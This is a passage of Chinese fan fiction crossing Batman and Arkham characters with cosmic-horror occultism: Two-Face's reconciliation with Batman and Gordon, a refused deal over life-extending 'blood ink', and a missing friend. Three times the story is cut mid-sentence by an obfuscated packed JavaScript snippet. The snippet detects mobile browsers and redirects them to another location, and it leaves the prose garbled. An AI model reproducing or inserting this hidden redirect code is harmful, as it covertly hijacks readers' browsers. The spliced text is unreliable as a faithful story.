作为调查员，维斯勒医生认为外神就像睡着的老虎，如果老虎攻击人，人类应该拼命反抗，但如果老虎没有搭理人，那人类不应该用树枝去把老虎捅醒。 对于信仰外神之人，维斯勒医生更是嗤之以鼻。在她看来，向外神许愿后即使得到了回应，外神多半也会像小说里的猴爪一样，以人类难以接受的方式实现愿望，同时许愿者会因为这些愿望而付出惨痛的代价。 听了维斯勒医生的话，奥德莉的心头立刻涌上担忧和惊惧。这不是她自己的感受，更像是法官哈维听到哥谭有危机时会有的反应。 “法官哈维看起来很沉稳平和，但内心如同熔岩一样沸腾。”奥德莉说，“他深爱哥谭，如果一个神明会为哥谭带来毁灭，他不但会停止信仰，可能甚至想弑神。” “你又和他产生情感共振了？我现在就教你一些心灵防护的技巧。”维斯勒医生皱眉，没想到奥德莉又一次体会到法官哈维的想法。“当病人的情绪极度激烈时，可能会无意识地感染周围的人，令他们感受到同样的愤怒或悲伤。不过这种情况很罕见，我只在八年前碰上过一次。” “可是您似乎没有受到影响？”奥德莉不解。 “我想可能是因为你的灵感对情绪很敏感，”维斯勒医生说，“法官哈维已经存在了一阵子，但只对你产生了影响，目前没有发现其他的病人和医护人员有这种反应。” “我需要尽快解除这种影响，”奥德莉抱怨道，“昨晚我差点冲到黑门监狱为民除害。” 马洛尼对于司法体系的玩弄让哥谭的法院成了一个笑话。法官哈维希望判处马洛尼死刑，他认为这是公正的裁决。 “现有的影响无法解除，只能等它自己消失，大概需要两三天。幸好法官哈维并非有意为之，否则会需要更久的时间。”维斯勒医生说。 传授完防护手段，维斯勒医生说：“我需要尽快给法官哈维补上‘外神的危险性’这一课。”维斯勒医生说，“让他明白外神的风格可不是‘神爱世人’。” “我觉得他会听进去的。”奥德莉说。包括双面人在内，阿卡姆病人对哥谭的感情都是扭曲但浓厚的，他们完全可以去其他城市搞事，却选择留在哥谭。有一次哥谭遭受外星人的攻击，蝙蝠侠不在，阿卡姆病人们竟然集体出逃打跑了外星人，然后又回到阿卡姆等蝙蝠侠回来。蝙蝠侠犹豫再三，还是特意去表扬了他们，病人们纷纷做出不屑的样子，实际上有多少人心中窃喜就很难讲了。 “希望在那之前他不要惹出大麻烦。”维斯勒医生说。 23. 第 23 章 第二天晚上，奥德莉在宿舍抱着布莱克一起追剧，布莱克忽然喵了一声，说：“外面有人。” 奥德莉转头看去。夜色中，蝙蝠侠站在阳台上正举起手要敲一敲玻璃，与她对视一眼后放下黑色战术手套包裹的手。 开了门，奥德莉后退几步让蝙蝠侠进来，罗宾紧随其后。布莱克猛地弹跳起来，把身体藏到桌子下面，却露出两只眼睛四处张望。奥德莉不知道它对达米安的心虚反应什么时候能减轻，看它的绿眼睛转来转去的可爱样子，心中觉得好笑。 “您找我有什么事吗？”奥德莉问蝙蝠侠，心里已经有了猜测。 “是你发现了哈维的异常？”蝙蝠侠直入正题。 果然是为了这件事。美国法律规定了心理医生的保密义务，但阿卡姆的病历都是电子记录，防火墙和加密系统是挡不住蝙蝠侠的。奥德莉在读病历的时候，甚至觉得维斯勒医生在故意标注重点，方便蝙蝠侠查阅。 这大概是阿卡姆所有医生与蝙蝠侠之间的默契。他们知道蝙蝠侠会查看医院记录，主动在病人有异状时示警。 “是的，我每天和维斯勒医生负责的病人谈话，跟进他们的情况。”奥德莉回答。 “只有你受到了他的情绪影响。”蝙蝠侠说，“你认为是什么原因？” “维斯勒医生认为是我对此比较敏感。”奥德莉说，又说出她的一个猜测，“也可能因为只有我老老实实听了他的普法小演讲。我后来问了许多人，每次法官哈维想长篇大论，其他人都立刻溜之大吉。” 蝙蝠侠不置可否，又问：“你现在仍然受到他的情绪影响吗？” “是的，不过我能感觉到在逐渐变弱。” 蝙蝠侠点点头，转身准备离开。奥德莉飞快地拉住他的披风：“您会去看他吗？” 好丢人啊，刚说完影响变弱，就没控制住自己的手。奥德莉赶紧松开手，偏偏旁边罗宾问道：“现在是你在说话，还是法官哈维在说话？” 看破不说破是人的基本素质，你看蝙蝠侠就不会明知故问。奥德莉瞪罗宾一眼，没有回答他。罗宾露出不解的眼神，完全不觉得自己的问题有什么不对。 奥德莉又继续对蝙蝠侠说：“您看了记录，一定知道法官哈维也始终放不下你们三个一起奋斗的时光。如果哈维能恢复正常，他就可以再次和您一起追求改革哥谭的理想。” 蝙蝠侠背对着她，声音掺杂着疲倦：“我多次尝试帮助哈维恢复，但从未成功过。韦恩集团曾请医生为他修复容貌，但他在看见镜中的自己时，竟然再次毁掉了自己的左脸。我不知道我是否能做到你希望的事情。” “可是他也曾在投掷出硬币反面时放走您。”奥德莉恳求道：“我知道希望渺茫，但是您以前没放弃，现在也请不要放弃。也许这是一个契机……” “你明明知道自己说的话是受到法官哈维的影响，不是自己的本意，为什么还这么坚持？”罗宾又问。 奥德莉一摊手：“因为我感觉到他一直在挣扎求救，希望能重新成为那个闪耀的光明骑士，为哥谭燃尽自我。看到蝙蝠侠执着地为理想战斗，看到戈登局长为哥谭鞠躬尽瘁，他希望再一次成为铁三角的一员。” “罗宾，联系戈登局长，请他速来。”蝙蝠侠说，从阳台离开了。 罗宾照做，然后发现奥德莉在盯着自己，他问：“怎么了？” “你为什么不跟着蝙蝠侠一起去？” “有其他人在场的话，他们恐怕无法畅所欲言。”罗宾说。 “没有其他人，他们也做不到啊。我刚才说的那些法官哈维是不会承认的，他只会嘴硬。以他的说话方式，蝙蝠侠很可能和他打起来。倒不是担心蝙蝠侠打不过他，我只是不希望他们的谈话破裂。” “你是蝙蝠侠的粉丝？”这是达米安第二次这样问她，虽然在他的记忆中这是第一次。 “对。”奥德莉理直气壮地说。 “但你对罗宾的态度可差太多了。”达米安觉得自己是在客观评价，但奥德莉听来像是在抱怨。 “哪里差了？不要睁着眼睛乱说。”奥德莉抗议，又说：“有的时候找找自己原因，这么多年了粉丝数量增加了没有，有没有认真工作？” 罗宾很想殴打眼前这位无辜市民，但控制住了自己的情绪，选择攻心为上：“你又不知道蝙蝠侠是谁，也许披风下的人已经换了几任了，你喜欢的是哪一任？” 其实蝙蝠侠一直都是同一个人，但达米安故意这么说，坏心眼地想看奥德莉大受打击。 从发现罗宾是达米安的那一刻，奥德莉就想过这个问题——如果罗宾换过人，那蝙蝠侠呢？但她选择装鸵鸟，直到此刻被达米安犀利提问。 布莱克，我批准你用猫猫拳把达米安打得鼻青脸肿。奥德莉很想这么说，但看见布莱克缩头缩脑的样子，觉得这只小猫咪此刻是靠不上的。她只能努力用眼神杀死达米安，衷心希望他能感觉到自己的愤恨。 “我要去双面人的病房了。”眼神交锋了一阵，奥德莉忽然想起自己还有更重要的事情要做。“你去不去随意。” 她回忆了一下维斯勒医生的叮嘱：五点之后，病人会被单独关在自己的病房里，不能一个人去病房见病人。 蝙蝠侠在双面人病房的话，我就不是一个人去见病人。奥德莉为自己的逻辑能力点赞，飞快地朝病房跑去，生怕去晚了错过蝙蝠侠和双面人的互诉衷肠以及和解大戏——她是说，生怕来不及在他们打起来之前阻止他们。 达米安还正等着听她会说出什么反驳的话，没想到她丢下一句话就跑了，急忙跟上她。 哈维的病房从未像这一晚这般热闹。 先是蝙蝠侠从窗户莅临，两人吵了一架，论口才蝙蝠侠根本不是法官哈维的对手，气得双手环胸，暂作中场休息。 法官哈维露出有点得意的笑容，又好像在怀念遥远的从前。 这时奥德莉和罗宾赶到，布莱克为了看热闹也跟过来了。奥德莉打开门，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293996|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见法官哈维和蝙蝠侠在沉默着对峙，以为一言不合要打起来了，急忙喊道：“蝙蝠侠从未放弃过你！二十年了，他始终想要他的光明骑士再一次站在他身边。” 奥德莉说完之后，尴尬得想找个地缝钻进去，或者是直接传送离开。不只是离开这件病房，最好能离开哥谭，能离开地球就更好了。 她不敢相信从自己口中能吐出这么狗血的台词。虽然法官哈维不会承认这是他此刻最希望听见的一句话——但是他不能自己说吗？为什么受伤的是我？ “她说的是真的吗？你还没有放弃我？” 法官哈维看着蝙蝠侠，拿着硬币的手指轻轻颤抖，似乎在犹豫是否要抛掷一次。 “当然，我的老朋友。”蝙蝠侠说。 戈登局长终于气喘吁吁地赶到了。他的头发花白，警服衬衫下有了不明显的发福，但眼神依然如二十年前一样坚定。 哥谭铁三角再一次聚首，只是这次不在警局的天台，而是在阿卡姆的病房里。 “你也老了。”法官哈维看向戈登局长。“最狡猾的就是蝙蝠侠，戴着面具，让人以为他永远年轻。” “哈维，我们仍然需要你。”戈登局长朝法官哈维伸出手，他的掌心躺着一枚磨损的检察官徽章，上面有硫酸迸溅留下的痕迹。 “我们的哥谭需要你，哈维。”蝙蝠侠也伸出手，示意哈维将硬币递给自己。“我需要你自己作出决定，而不是将决定交给命运。” 法官哈维站在那里，他的气质慢慢改变了，站在他们面前的人变成了光明骑士。他将硬币递给蝙蝠侠，又接过徽章佩戴在病号服的领子上。他没有说话，仿佛在侧耳倾听什么。 在众人听不见的地方，邪恶哈维被关在白教堂里，法官哈维站在布道坛上读出他的罪名。邪恶哈维低下头，喃喃地说：“我有罪，我认罪。” 维斯勒医生姗姗来迟，有意为重聚之人留出相处时间。她和哈维交谈后，向众人解释：“法官哈维自愿将自己困在白教堂里，同时也困住了邪恶哈维。白教堂是法官哈维虚拟出的场所，与外界隔绝，外神也无法窥探。只有正义哈维能观看，但无法参与。” 维斯勒医生对哈维说：“我的病人中，你是第一个从阿卡姆‘痊愈’离开，而不是逃跑离开的病人。希望你不会是最后一个。” “那两个人格是否有可能再次出现？”蝙蝠侠问。 “我很想给你一个否定的答案，但一切皆有可能。”维斯勒医生说，取出一条不知是什么材料制成的轻软腕带递给哈维。“万一他们再次出现，腕带会断裂作为预警。” 哈维将腕带系在左手腕上，说：“医生，谢谢您的治疗。” “感觉更像是你治好了自己。”维斯勒医生鼓励地拍拍他的肩膀。 “也谢谢你，奥德莉。”哈维说。“很抱歉影响到了你。” “如果大家能对我的行为假装失忆，那就最好不过了。”奥德莉郁闷地说。法官哈维离开后，他的影响也随之彻底消失了。 24. 第 24 章 光明骑士重返人间，誓将余生奉献哥谭！ 这条新闻很快成为哥谭各大媒体的头条。奥德莉在食堂吃饭时，周围的人都在讨论这件事。 “原来哈维检察官和家人被黑/帮迫害，不得不加入联邦证人保护计划。”一个人读完哈维的经历，热泪盈眶，饭都吃不下去了。 “他说要再次竞选检察官，我一定会去给他投票。”另一个人说。 “他看起来还是那么英俊，岁月的痕迹只是增加了他的魅力。” 听到这句话，奥德莉立刻去搜索哈维的新闻照片，看完感叹韦恩集团找的医生技术卓越，水平堪称神之手。 “听说他是哥谭历任检察官中最有责任心的。他去世的时候我父亲很伤心，我得赶紧把这个新闻发给他。” 哥谭没有忘记他们的光明骑士。 奥德莉由衷地为哈维高兴，并期待起哥谭的未来。 哈维出院后，奥德莉恢复了快乐的夜间生活，每天下班后和布莱克往蜕衣俱乐部跑。唯一不太快乐的因素是达米安，他竟然开了一辆兰博基尼来阿卡姆找她，约她去某家米其林餐厅共进晚餐。 “哈利担心你一个人在哥谭无聊，让我们多关照你。”达米安的理由很冠冕堂皇。 “谢谢你的好意。我刚在食堂吃过饭，”奥德莉坚定地拒绝。她不知道达米安发什么疯，但她对餐厅没兴趣，她只想去蜕衣俱乐部看表演。 “那你想去哪里，我陪你去。我对哥谭很熟悉。”达米安坚持不懈，庆幸迪克给了各种情景的应对方案。 你又不是哥谭本地人，明明前几年才刚被认回韦恩家。奥德莉这样想，但这种戳别人的伤口的话当然是不能说的，她赶紧想出一个理由：“我想去的地方，你可能不太适合去。” “为什么？”达米安的绿色眼睛中充满了疑惑。 “因为……呃……因为你是未成年人。” 奥德莉吞吞吐吐地说。她知道达米安不愿意被当成小孩子看待。 “你也没到能去酒吧或赌场的年龄吧？”达米安毫不客气地问。 “我要去的是蜕衣俱乐部。”奥德莉解释。“那里的年龄限制是十八岁，不是二十一岁。” “啧。”达米安的回答出乎奥德莉的意料，“那里的表演确实很暧昧，但也没到少儿不宜的程度。我已经去过几次了。” “啊？”奥德莉震惊，“你为什么去那里？” “我父亲带我去的。”达米安甩锅。 韦恩先生真是个不靠谱的父亲。奥德莉心想。难怪蝙蝠侠要训练达米安做罗宾，毕竟一个家长如果很不负责，另一个家长就得担负起双倍的责任。 “再说了，你也只比我大两岁吧。”达米安又上下打量奥德莉。 “好吧，你想去的话就去吧。”奥德莉灵光一现，猜测是蝙蝠侠派罗宾来调查自己的。也许蝙蝠侠觉得双面人的事情还有许多要调查的地方，因此不放过任何一个线索。如果是这样的话，那她愿意尽力配合。 达米安满意了，坐进驾驶位前还家学渊源地为奥德莉开车门。为了尽快找回遗失的记忆，他需要和她多一些相处时间，又不能在白天去干扰她工作，只能在晚上找她。 关于这一点，在讨论行动计划时，迪克犹犹豫豫地表达了担忧：“她会不会误以为你在追求她？” “格雷森，你脑子里除了情情爱爱还有没有别的东西？”达米安不屑地说。“我们做正事的人根本没时间想那些。” 迪克委屈：有事的时候叫自己迪克，用完了就叫人家格雷森。 围观的德雷克：不是我没有兄弟情，但真的很想看达米安翻车啊。 蝙蝠侠自我怀疑：这孩子不是随我吧？我不是这样的吧？ 阿尔弗雷德：老爷，不用怀疑，您从来不会因为工作耽误恋爱。 多了达米安这个拖油瓶，奥德莉不得不每天体会一次通勤之苦——明明可以一秒钟传送到蜕衣俱乐部的，现在却要花时间在往返路程上。 唯一的安慰是，达米安接送她意味着他花在路上的时间要比她多一倍。想到这一点，她觉得还可以再忍受几天。 几天过去，奥德莉终于看到了老板苏洛恰那·阿摩伐舍的亲自演出，果然更加令人迷醉。但她余光瞥见达米安的表情，依然是漫不经心的样子，眼神中带着审视，似乎任何诱惑景象在他眼中都如冢中枯骨。 还说自己不是小孩子呢，根本不懂得欣赏成年人的艺术。奥德莉这样暗自吐槽。她不知道达米安从小接受的训练中包括如何诱惑他人以及如何抵御诱惑，再美的人在他眼中也没什么区别。 表演之后，苏洛恰那派侍者请奥德莉去办公室见她。奥德莉一头雾水，布莱克羡慕地说：“她会不会是看上你了。” “天啊，你在说什么。”奥德莉呆滞。 “我是说，她会不会想招揽你做舞者。”布莱克鄙视地看她，“你的思想太不纯洁了。” 奥德莉很羞愧，带着深刻的反省走进了办公室。 苏洛恰那已经换下了演出服，穿着一条优雅的裙子坐在桌旁等她。侍者离开后，她对奥德莉说：“欢迎你，密大的学生。还不知道你的名字。” 奥德莉愣了一下，苏洛恰那仿佛看出她的想法，解释道：“如果你活得像我这么久，也能一眼从研习无形之术的人中辨别出学院派和野路子。” “我叫奥德莉，”奥德莉说。“您的表演很精彩。” 苏洛恰那对这类赞美习以为常，只是礼貌地回了个微笑。奥德莉问：“您找我有什么事吗？” “我想发布一个任务，报酬随你开价。” 有慧眼识珠的金主要赞助我了！还是个钱袋深不见底的大金主！ 奥德莉激动了一秒，旋即冷静下来，故作矜持地说：“我可以先听一听任务内容吗？” “任务对你来说不难。我需要你帮忙去另一重历史的某个分支取回一样东西。我已经知道仪式路径了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293997|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “您为什么会觉得我能做到？”奥德莉愕然。 “我看到你的身上有穿越的痕迹。哦，请不必费力否认，我是丽姬亚俱乐部的一员，我们对于启之准则的了解仅次于司辰。 “那您为什么还需要我？”奥德莉感到费解。 “你知道清算人组织吗？”见奥德莉点头，苏洛恰那继续说道：“那你大概也知道，他们会制作灰烬账簿，帮助有需求的人获得更多寿命。我需要你取回的是制作灰烬账簿所必需的一种原料。上一任清算人首领杜弗尔去世时，他销毁了我们世界里所有的血墨。” “血墨？” “任何试图召唤外神伊波·兹特尔的人都会在梦中遇见祂并被祂的血液杀死，用秘法炼制尸体可以获得血墨，但机率非常低。清算人组织还在的时候，他们会专门安排成员召唤伊波·兹特尔。在那个愚昧混沌的年代，根本不会有人注意到多少人因此而死，尤其是后来一战和二战接连发生，战争替清算人背了黑锅。可惜黄金时代已经过去。而现在，”苏洛恰那惋惜地说，“死一个人都可能引来警察的注视。” 苏洛恰那的话令奥德莉不寒而栗，她强作镇定，继续发问：“杜弗尔为什么要这么做？死前的幡然悔悟吗？” 苏洛恰那用奇怪的眼神看向奥德莉，仿佛她刚刚说了一个笑话，然后讥诮地说：“当然是因为他自己要死了，也不想让别人长久地活下去。” “作为首领，他想必有许多灰烬账簿可用，为什么不给自己续命？”奥德莉不解。 “灰烬账簿只能增加寿命，无法治疗。他中了剧毒，被折磨得恨不得自杀求个解脱，增加了寿命又有什么用。” “原来如此。我还是不明白，您为什么不自己去呢？” “伊波·兹特尔可以窥见一切时间与空间。祂在这个世界的血墨已经在我的身上留下印痕，如果祂看到我出现在另一个世界中，祂会立刻杀死我。” “您怎么能确定这一点？” “我在丽姬亚俱乐部的姐妹，美杜莎，她和她的仆从已经去过那里了，但美杜莎没能回来。那位仆从说他从未见过那样暴烈的伤口。可惜，他是空手而归的。” “我明白了。但我听说我们的世界也有很多延续寿命，甚至能让人死而复生的方法，您和姐妹为什么要执着于灰烬账簿？”奥德莉说。 “比如拉撒路池吗？”苏洛恰露出一个不屑的微笑，“你见过用拉撒路池维持长生的人吗？我可不想变成那种疯子。” 你怎么看都不太正常。奥德莉发现人总是很难客观评价自己。她尽量礼貌地回答：“您和我想象中的活了上百年的人很不一样。” “你以为我会像小说里的吸血鬼那样，哭诉亲友的离去、世情的变迁，然后想法设法找一个能获得死亡的方法？”苏洛恰那笑起来，双眼弯成新月，“我太喜欢活着了。” 我们如此习惯活着，以至于不愿意死亡。奥德莉想到托马斯·布朗的话。 25. 第 25 章 “好了，我已经回答过你的问题了。现在告诉我你的决定吧。” “我想我的答案可能会令您失望。”奥德莉说。 “为什么？”苏洛恰那露出真实的惊讶，完全没料到奥德莉会拒绝一个内容简单又报酬丰厚的任务。 “我相信您可以找到其他合适的人来做这件事。”奥德莉不想和苏洛恰那起冲突，谁知道她有什么手段，人在屋檐下，自然是安全第一。“您已经掌握最关键的仪式路径了。” “你以为穿越的关键是仪式路径？”苏洛恰那摇摇头，“只有符合唯一性的人，才能完成仪式。不符合唯一性的人，只能跟随前者而行。” 【在任何世界都没有见到我。我是独一的，不可同时存在复数个。】 奥德莉立刻想起羊皮卷上的这句话。她确认道：“您说的唯一性，是指在其它世界中没有同位体吗？” “正是如此。必须是在其它任何一个世界中都没有同位体才行。这样的人并不常见。” 奥德莉点点头：“谢谢您的耐心解答。但是非常抱歉，我的答案仍然是不。” “看在我知无不言的份上，我想我值得一个真正的理由。”苏洛恰那不肯放弃，想弄明白她拒绝的原因，以便给出更令人心动的条件。 “我没有资格也无意对您进行道德评判，”奥德莉只好先给出一个半真半假的理由：“但在哥谭这么做，您不怕蝙蝠侠找上门吗？” “如今穿越难道也成了犯罪吗？如果您担心的是这个，您完全可以去其它地方举行仪式。” “首先，蝙蝠侠的管辖权是整个地球。”先维护一下蝙蝠侠的执法权限和范围，奥德莉又进一步说明：“我是指您购买寿命这件事，这应该算是犯罪吧。” “这一点可没写进刑法里。”苏洛恰那反驳道。 好有道理。但那只是因为立法者想不到还有人能这么做吧。 “您可以在蝙蝠侠前来拜访的时候把这个辩护理由告诉他。”说不定他能为你紧急立法，就叫苏洛恰那法案。 “这点小事还不至于吸引到蝙蝠侠吧。哥谭的黑/帮难道都被他铲除了吗？再说，我会付钱的，很多钱。” “您认为为某样事物付钱就等于是公平交易吗？”奥德莉被她的态度激怒了。她会确保这件事被蝙蝠侠发现的，等她离开这里就去告状，让蝙蝠侠在俱乐部安装一百个监视器。 “世上本来就处处是不公平，有些人天生健康，无病无灾活到百岁，有些人生而残疾，不得不费力地活下去。你觉得这是公平吗？” “那是超出我管辖范畴的事情，”奥德莉不想和她纠结哲学问题，她只是人，不是命运女神。“但您要做的事情，我不应该也不会参与进去。” “哪怕我请求您帮忙，您也不肯吗？”苏洛恰那露出楚楚可怜的神色，“我只是想活下去，这有什么错吗？” “这不是您一个人的事情。还涉及出售寿命的人。” 奥德莉冷冷地说。 “他们是自愿的。” 苏洛恰那不在意地说。 “就像走投无路的人出卖器官那种自愿吗？就像女性被家人施加压力而去代孕赚钱的那种自愿吗？” 奥德莉站起身，“不好意思，我帮不了您。” “所以您自诩是执行正义之人？” “并非如此。我能力有限，无法执行正义，但我也不会助长邪恶。” 彻底撕破脸后，苏洛恰那的笑容消失了，她轻声问：“你不害怕我吗？” “我认为您足够理智，不会想与密大为敌。”奥德莉虚张声势。 “呵，你觉得密大是圣洁纯粹之地吗？” “不，我没那么天真，我知道世上没有那种地方。但至少在密大，没有人来请我帮这种忙。”奥德莉说。 “好吧，我确实对密大心存顾忌，不会伤害您。”苏洛恰那爽快地承认了。“但是您的男朋友只是一个凡人吧。他可没有密大的庇护。” “他是个未成年人！”奥德莉大怒，“而且他不是我的男朋友。” “如果你不喜欢他，为什么先强调他的年龄，然后才否定你们的关系？”苏洛恰那露出看穿一切的眼神。 “因为我想提醒你，对未成年人下手罪加一等。”奥德莉给她一个白眼，气到极点反而冷静下来。 达米安可不是普通人，他是罗宾，还是个韦恩。如果苏洛恰那想伤害达米安，且不说她是否能做到，毕竟罗宾的战斗力很强；如果她真的做到了的话，那她将面临蝙蝠侠和韦恩先生的双重打击，那场面一定很美。 我要不要鼓动她一下？奥德莉邪恶地冒出一点小期待，但心理斗争了一会儿，还是觉得不能这么坑达米安。 “离他远一点。别说我没有警告过您。”奥德莉说完这句话，立刻离开了。 回到座位时，奥德莉的脸颊仍然因争吵和愤怒而晕红。布莱克担心地扑过去，用爪子摸摸她的头。 达米安也发现奥德莉的情绪不对，问她：“你被欺负了？” “我觉得我暂时赢了。”奥德莉说。“但对方可能不会善罢甘休。” “发生了什么？” “我们出去再说。”奥德莉端起桌上的茶水一饮而尽，然后快步朝外走去。 上车后，达米安又一次问：“发生了什么？” “我需要找蝙蝠侠。”奥德莉说。“我知道韦恩先生是蝙蝠侠的赞助人，你能帮忙联系到他吗？我有很重要的事情要告诉他。” 看到她严肃的表情，达米安立刻调转车头方向：“我们去韦恩庄园。”他又拨通庄园的电话，将奥德莉的要求告诉阿尔弗雷德，万能管家会安排好一切。 再一次踏足韦恩庄园，看到与维多利亚时期别无二致的庄园，以及永远优雅沉稳的阿尔弗雷德，奥德莉忽然放松下来。 蝙蝠侠提前赶回庄园，以客人身份拜访。达米安见奥德莉没有要求自己离开，便坐在一旁不动。 “我今天被人威胁了。”奥德莉先给事情定性，然后把自己和苏洛恰那的对话讲了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293998|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍。“我担心她还会想办法找其他人。大限将至，她做出任何疯狂的事情都不奇怪。” “我会关注此事。”蝙蝠侠说。 “有什么需要帮忙的，您知道去哪里找我。”奥德莉自告奋勇，又坏心眼地说：“她还用达米安威胁我，您看是不是应该给他加强安保？” 为了维持人设，达米安只能生闷气。 说完正事，达米安开车把奥德莉送回阿卡姆，之后他还得再开车回韦恩庄园。不过他获得了和奥德莉的相处时间，也许距离找回记忆又近了一步，而奥德莉则是纯粹地被浪费了时间。 路上，达米安问奥德莉：“你说的无形之术那些，就像是魔法一样吗？” 好想揭穿他的罗宾身份，这样演下去好累。奥德莉觉得这比和苏洛恰那吵架还累。虽然她也曾经单方面知道彼得的秘密身份，但是她不需要和彼得的两个身份分别相处啊。 “你可以这么理解，”奥德莉简单讲了讲密大的教学内容。 “那你们是不是也能催眠？”达米安状似无意地问，“或者让人记忆混淆？” 还没等奥德莉回答，布莱克已经炸毛了，半个身子探出去要跳车。她急忙安抚这只可怜的小猫咪，提醒它两件事，首先，达米安看不见它，其次，达米安不知道它做了什么。 见奥德莉沉默，达米安以为她不想多说，便换了话题：“你和老板吵起来了，明天想必不会再去那里。明晚你想做什么？” “我想休息……”奥德莉诧异地看他一眼。白天上班、晚上观舞的日子连续过了几天，她需要补补觉。原本支撑她坚持的是希望能看到苏洛恰那的表演，没想到事态发展如脱缰野马。 “那后天晚上呢？”达米安仿佛听不懂拒绝。 “你每天这么闲吗？”奥德莉问。“你要不要预习一下下学期的功课？” 达米安没忍住翻了个白眼：“我即将入读大学，还没想好专业。而且大学课程那么简单，有什么必要预习。” “你去哪所大学？等等让我先猜一下，是哥谭大学吧。” “没错。”达米安有点惊讶。一般人都会猜他去的是哈佛，因为他是校友之子，家里又能随便捐几栋楼。当听说他去的是哥谭大学时，亲近一些的人通常会委婉劝说韦恩先生，让他不要为小儿子的教育吝啬钱财。哥谭大学在本地算是不错，但它可不是常春藤。 对于达米安而言，去哪所大学都没有区别，因为他并不需要真的从大学里学什么知识，他只是需要一个大学生的名头，否则韦恩家会沦为哥谭笑柄。而天天从波士顿坐直升飞机回哥谭夜巡，即使是他也会觉得太离谱了。 真是爱岗敬业的好罗宾。见自己猜得没错，奥德莉忍不住为他浪费掉的时间感到可惜。她很愿意配合蝙蝠侠的调查，但达米安在过去几天的行为让她觉得对方可能真的是为了完成哈利的委托而来：“接下来几个晚上我不打算出门了。等我休息好了，我再联系你。” “好吧。”达米安只好答应。 26. 第 26 章 没有出行安排的夜晚是多么闲适啊。 奥德莉先在食堂吃晚餐，顺便和医生护士们聊八卦。饭后她去花园散步，发现竟然有人闲到这种地步，手动将那些假花调整形态，由前几日的半开变成全部绽放。 阿卡姆不会专门雇一个园丁干这事吧？还是哪个病人太无聊了？奥德莉欣赏了一会儿，手机忽然响了，是格温打电话给她。 “奥德莉，哈利这几天联系过你吗？” “没有。自从他回纽约和你们小聚，没再听到他的消息。我以为他是回英国之后太忙了。”如果哈利在学期中离校几天，回学校就需要狂补落下的作业，这种事情发生过几次。 “希望是这样。因为上次聚会的时候，我感觉他的情绪不太对。” “你也这么觉得？”奥德莉悚然一惊，“我觉得他忽然来哥谭，又去纽约，整个行程都很奇怪。” “像是在……告别一样？”格温迟疑着说。 “如果发生那么大的事情，他为什么一点也没告诉我们？” “也许发生的事情令他过于难以承受，他没有勇气说出来。” “我正在查奥斯本集团的新闻，看起来一切正常。”奥德莉先看财经新闻，又去看八卦网站，没有找到任何蛛丝马迹。 “会不会和他家里无关，是他个人的事？”格温猜测。“我宁可他事后笑话我们小题大做，也不想在将来后悔我们没有及时帮上忙。” “我同意。你给他打过电话了吗？”奥德莉问。 “昨天和今天都试过，没人接。我还发了几条短信。” “他在纽约的家呢？” “彼得去过了，奥斯本先生在家，他压根不知道哈利回过纽约。” “那奥斯本先生要报警吗？” “他说不用管，他和哈利经常十几天没有联系。”格温忿忿不平地说。 “那我们如果去报警，警察可能也不会受理。”奥德莉也对哈利父亲的做法很不满。 “彼得觉得奥斯本先生一定知道什么，今天就开始去跟踪他了。”格温忽然压低了声音，虽然她正独自坐在自己的卧室，“他还请斯塔克先生帮忙调查。” 好有行动力啊！奥德莉相信彼得的直觉，很欣赏彼得说干就干的劲头，叮嘱道：“有消息随时联系我。我也想一想是否有其他办法。” 挂断电话，奥德莉做了几个深呼吸，假装自己正身处天然氧吧，用并不存在的植物释放的虚拟氧气缓解焦虑。 哈利应该不会是躲起来不见人，或者自杀，他不是这种性格。 他是在纽约见过朋友之后失联的，那意味着他可能已经失踪一周了。 哈利有什么仇人吗？奥德莉一时想不到。哈利如果知道的话，肯定会告诉他们的。但有时候仇人的诞生非常莫名其妙，发生在当事人都不知道的时刻。他太有钱了，他太帅了，或者任何可笑的原因，都可能成为起杀心的源头。 或者是奥斯本先生有私生子，为了除掉竞争对手？哦不对，这更像是如果拍摄一部《与韦恩家同行》其中可能出现的剧情。 苏洛恰那！这个名字忽然跳入奥德莉脑中。可是她昨天才和苏洛恰那起争执，在那之前苏洛恰那甚至都不知道她的名字。难不成苏洛恰那连夜抓走了哈利来威胁自己？ 两天没有收到奥德莉的消息，达米安开始考虑是否要以罗宾身份去找她。出发去夜巡前，他忽然接到奥德莉的电话。 “达米安，你现在有空吗？我需要联系蝙蝠侠，有急事请他帮忙。” 我的作用就是个传声筒吗？达米安气得鼓起脸，咬牙说：“你要不要蝙蝠侠的手机号码啊？” “啊？”奥德莉惊喜，“那也可以。” 